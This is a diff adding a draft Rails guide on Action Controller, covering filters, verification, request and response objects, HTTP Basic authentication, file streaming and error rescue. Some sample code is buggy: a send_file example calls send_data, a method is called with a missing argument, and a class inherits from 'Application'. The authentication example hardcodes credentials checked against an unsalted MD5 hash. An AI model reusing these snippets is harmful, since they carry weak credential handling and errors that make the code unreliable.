+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
+private
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> require_login
+ <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> logged_in?
+ flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You must be logged in to access this section"</span>
+ redirect_to new_login_url <span style="font-style: italic"><span style="color: #9A1900"># Prevents the current action from running</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># The logged_in? method simply returns true if the user is logged in and</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># false otherwise. It does this by "booleanizing" the current_user method</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># we created previously using a double ! operator. Note that this is not</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># common in Ruby and is discouraged unless you really mean to convert something</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># into true or false.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> logged_in?
+ <span style="color: #990000">!!</span>current_user
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering/redirecting filter, they are also cancelled. To use this filter in a controller, use the <a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html#M000704">before_filter</a> method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
+ before_filter <span style="color: #990000">:</span>require_login
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this, so to prevent this filter from running you can use <a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html#M000711">skip_before_filter</a> :</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000"><</span> Application
+
+ skip_before_filter <span style="color: #990000">:</span>require_login<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=></span> <span style="color: #990000">[:</span>new<span style="color: #990000">,</span> <span style="color: #990000">:</span>create<span style="color: #990000">]</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now, the LoginsController's "new" and "create" actions will work as before without requiring the user to be logged in. The <tt>:only</tt> option is used to only skip this filter for these actions, and there is also an <tt>:except</tt> option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.</p></div>
+<h3 id="_after_filters_and_around_filters">6.1. After filters and around filters</h3>
+<div class="para"><p>In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.</p></div>
+<div class="para"><p>TODO: Find a real example for an around filter</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Example taken from the Rails API filter documentation:</span></span>
+<span style="font-style: italic"><span style="color: #9A1900"># http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> Application
+
+ around_filter <span style="color: #990000">:</span>catch_exceptions
+
+private
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> catch_exceptions
+ <span style="font-weight: bold"><span style="color: #0000FF">yield</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> <span style="color: #990000">=></span> exception
+ logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Caught exception! #{exception}"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_other_ways_to_use_filters">6.2. Other ways to use filters</h3>
+<div class="para"><p>While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.</p></div>
+<div class="para"><p>The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the <tt>require_login</tt> filter from above could be rewritte to use a block:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
+ before_filter <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>controller<span style="color: #990000">|</span> redirect_to new_login_url <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> controller<span style="color: #990000">.</span>send<span style="color: #990000">(:</span>logged_in?<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Note that the filter in this case uses <tt>send</tt> because the <tt>logged_in?</tt> method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.</p></div>
+<div class="para"><p>The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, we will rewrite the login filter again to use a class:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
+ before_filter LoginFilter
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginFilter
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>filter<span style="color: #990000">(</span>controller<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> logged_in?
+ controller<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You must be logged in to access this section"</span>
+ controller<span style="color: #990000">.</span>redirect_to controller<span style="color: #990000">.</span>new_login_url
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets it passed as an argument. The filter class has a class method <tt>filter</tt> which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same <tt>filter</tt> method, which will get run in the same way. The method must <tt>yield</tt> to execute the action. Alternatively, it can have both a <tt>before</tt> and an <tt>after</tt> method that are run before and after the action.</p></div>
+<div class="para"><p>The Rails API documentation has <a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html">more information on using filters</a>.</p></div>
+</div>
+<h2 id="_verification">7. Verification</h2>
+<div class="sectionbody">
+<div class="para"><p>Verifications make sure certain criterias are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the <tt>params</tt>, <tt>session</tt> or <tt>flash</tt> hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criterias are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the <a href="http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html">API codumentation</a> as "essentially a special kind of before_filter".</p></div>
+<div class="para"><p>Let's see how we can use verification to make sure the user supplies a username and a password in order to log in:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000"><</span> ApplicationController
+
+ verify <span style="color: #990000">:</span>params <span style="color: #990000">=></span> <span style="color: #990000">[:</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">],</span>
+ <span style="color: #990000">:</span>render <span style="color: #990000">=></span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"new"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>add_flash <span style="color: #990000">=></span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>error <span style="color: #990000">=></span> <span style="color: #FF0000">"Username and password required to log in"</span><span style="color: #FF0000">}</span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>authenticate<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>username<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>password<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@user</span>
+ flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You're logged in"</span>
+ redirect_to root_url
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"new"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now the <tt>create</tt> action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for <strong>every</strong> action in LoginsController, which is not what we want. You can limit which actions it will be used for with the <tt>:only</tt> and <tt>:except</tt> options just like a filter:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000"><</span> ApplicationController
+
+ verify <span style="color: #990000">:</span>params <span style="color: #990000">=></span> <span style="color: #990000">[:</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password<span style="color: #990000">],</span>
+ <span style="color: #990000">:</span>render <span style="color: #990000">=></span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"new"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>add_flash <span style="color: #990000">=></span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>error <span style="color: #990000">=></span> <span style="color: #FF0000">"Username and password required to log in"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>only <span style="color: #990000">=></span> <span style="color: #990000">:</span>create <span style="font-style: italic"><span style="color: #9A1900">#Only run this verification for the "create" action</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_the_request_and_response_objects">8. The request and response objects</h2>
+<div class="sectionbody">
+<div class="para"><p>In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The <tt>request</tt> method contains an instance of <a href="http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html">AbstractRequest</a> and the <tt>response</tt> method contains the <a href="http://github.com/rails/rails/tree/master/actionpack/lib/action_controller/response.rb">response object</a> representing what is going to be sent back to the client.</p></div>
+<h3 id="_the_request">8.1. The request</h3>
+<div class="para"><p>The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the <a href="http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html">API documentation</a>.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+host - The hostname used for this request.
+</p>
+</li>
+<li>
+<p>
+domain - The hostname without the first part (usually "www").
+</p>
+</li>
+<li>
+<p>
+format - The content type requested by the client.
+</p>
+</li>
+<li>
+<p>
+method - The HTTP method used for the request.
+</p>
+</li>
+<li>
+<p>
+get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head.
+</p>
+</li>
+<li>
+<p>
+headers - Returns a hash containing the headers associated with the request.
+</p>
+</li>
+<li>
+<p>
+port - The port number (integer) used for the request.
+</p>
+</li>
+<li>
+<p>
+protocol - The protocol used for the request.
+</p>
+</li>
+<li>
+<p>
+query_string - The query string part of the URL - everything after "?".
+</p>
+</li>
+<li>
+<p>
+remote_ip - The IP address of the client.
+</p>
+</li>
+<li>
+<p>
+url - The entire URL used for the request.
+</p>
+</li>
+</ul></div>
+<h4 id="_path_parameters_query_parameters_and_request_parameters">8.1.1. path_parameters, query_parameters and request_parameters</h4>
+<div class="para"><p>TODO: Does this belong here?</p></div>
+<div class="para"><p>Rails collects all of the parameters sent along with the request in the <tt>params</tt> hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The <tt>query_parameters</tt> hash contains parameters that were sent as part of the query string while the <tt>request_parameters</tt> hash contains parameters sent as part of the post body. The <tt>path_parameters</tt> hash contains parameters that were recognised by the routing as being part of the path leading to this particular controller and action.</p></div>
+<h3 id="_the_response">8.2. The response</h3>
+<div class="para"><p>The response objects is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+body - This is the string of data being sent back to the client. This is most often HTML.
+</p>
+</li>
+<li>
+<p>
+status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
+</p>
+</li>
+<li>
+<p>
+location - The URL the client is being redirected to, if any.
+</p>
+</li>
+<li>
+<p>
+content_type - The content type of the response.
+</p>
+</li>
+<li>
+<p>
+charset - The character set being used for the response. Default is "utf8".
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_http_basic_authentication">9. HTTP Basic Authentication</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, we will create an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, <a href="http://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Basic/ControllerMethods.html#M000610">authenticate_or_request_with_http_basic</a>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AdminController <span style="color: #990000"><</span> ApplicationController
+
+ USERNAME<span style="color: #990000">,</span> PASSWORD <span style="color: #990000">=</span> <span style="color: #FF0000">"humbaba"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"f59a4805511bf4bb61978445a5380c6c"</span>
+
+ before_filter <span style="color: #990000">:</span>authenticate
+
+private
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> authenticate
+ authenticate_or_request_with_http_basic <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>username<span style="color: #990000">,</span> password<span style="color: #990000">|</span>
+ username <span style="color: #990000">==</span> USERNAME <span style="color: #990000">&&</span> Digest<span style="color: #990000">::</span>MD5<span style="color: #990000">.</span>hexdigest<span style="color: #990000">(</span>password<span style="color: #990000">)</span> <span style="color: #990000">==</span> PASSWORD
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.</p></div>
+</div>
+<h2 id="_streaming_and_file_downloads">10. Streaming and file downloads</h2>
+<div class="sectionbody">
+<div class="para"><p>Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the <a href="http://api.rubyonrails.org/classes/ActionController/Streaming.html#M000624">send_data</a> and the <a href="http://api.rubyonrails.org/classes/ActionController/Streaming.html#M000623">send_file</a> methods, that will both stream data to the client. <tt>send_file</tt> is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.</p></div>
+<div class="para"><p>To stream data to the client, use <tt>send_data</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"prawn"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Generate a PDF document with information on the client and return it.</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># The user will get the PDF as a file download.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> download_pdf
+ client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ send_data<span style="color: #990000">(</span>generate_pdf<span style="color: #990000">,</span> <span style="color: #990000">:</span>filename <span style="color: #990000">=></span> <span style="color: #FF0000">"#{client.name}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=></span> <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+private
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> generate_pdf<span style="color: #990000">(</span>client<span style="color: #990000">)</span>
+ Prawn<span style="color: #990000">::</span>Document<span style="color: #990000">.</span>new <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ text client<span style="color: #990000">.</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>align <span style="color: #990000">=></span> <span style="color: #990000">:</span>center
+ text <span style="color: #FF0000">"Address: #{client.address}"</span>
+ text <span style="color: #FF0000">"Email: #{client.email}"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span><span style="color: #990000">.</span>render
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>download_pdf</tt> action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the <tt>:disposition</tt> option to "inline". The opposite and default value for this option is "attachment".</p></div>
+<h3 id="_sending_files">10.1. Sending files</h3>
+<div class="para"><p>If you want to send a file that already exists on disk, use the <tt>send_file</tt> method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Stream a file that has already been generated and stored on disk</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> download_pdf
+ client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ send_data<span style="color: #990000">(</span><span style="color: #FF0000">"#{RAILS_ROOT}/files/clients/#{client.id}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>filename <span style="color: #990000">=></span> <span style="color: #FF0000">"#{client.name}.pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=></span> <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the <tt>stream</tt> option or adjust the block size with the <tt>buffer_size</tt> option.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk as someone could gain access to files they are not meant to have access to.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.</td>
+</tr></table>
+</div>
+<h3 id="_restful_downloads">10.2. RESTful downloads</h3>
+<div class="para"><p>While <tt>send_data</tt> works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Let's try to rewrite the example so that the PDF download is a part of the <tt>show</tt> action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000"><</span> ApplicationController
+
+ <span style="font-style: italic"><span style="color: #9A1900"># The user can request to receive this resource as HTML or PDF.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+ <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+
+ respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+ format<span style="color: #990000">.</span>html
+ format<span style="color: #990000">.</span>pdf<span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>pdf <span style="color: #990000">=></span> generate_pdf<span style="color: #990000">(</span><span style="color: #009900">@client</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In order for this example to work, we have to add the PDF MIME type to Rails. This can be done by adding the following line to the file <tt>config/initializers/mime_types.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"application/pdf"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>pdf
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.</td>
+</tr></table>
+</div>
+<div class="para"><p>Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>GET /clients/1.pdf</tt></pre>
+</div></div>
+</div>
+<h2 id="_parameter_filtering">11. Parameter filtering</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The <a href="http://api.rubyonrails.org/classes/ActionController/Base.html#M000837">filter_parameter_logging</a> method can be used to filter out sensitive information from the log. It works by replacing certain keys in the <tt>params</tt> hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
+ filter_parameter_logging <span style="color: #990000">:</span>password
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true.</p></div>
+</div>
+<h2 id="_rescue">12. Rescue</h2>
+<div class="sectionbody">
+<div class="para"><p>Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:</p></div>
+<h3 id="_the_default_500_and_404_templates">12.1. The default 500 and 404 templates</h3>
+<div class="para"><p>By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the <tt>public</tt> folder, in <tt>404.html</tt> and <tt>500.html</tt> respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.</p></div>
+<h3 id="_tt_rescue_from_tt">12.2. <tt>rescue_from</tt></h3>
+<div class="para"><p>If you want to do something a bit more elaborate when catching errors, you can use <a href=":http://api.rubyonrails.org/classes/ActionController/Rescue/ClassMethods.html#M000620">rescue_from</a>, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a rescue_from directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the <tt>:with</tt> option. You can also use a block directly instead of an explicit Proc object.</p></div>
+<div class="para"><p>Let's see how we can use rescue_from to intercept all ActiveRecord::RecordNotFound errors and do something with them.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
+ rescue_from ActiveRecord<span style="color: #990000">::</span>RecordNotFound<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=></span> <span style="color: #990000">:</span>record_not_found
+
+private
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> record_not_found
+ render <span style="color: #990000">:</span>text <span style="color: #990000">=></span> <span style="color: #FF0000">"404 Not Found"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=></span> <span style="color: #993399">404</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Of course, this example is anything but elaborate and doesn't improve the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>Base
+
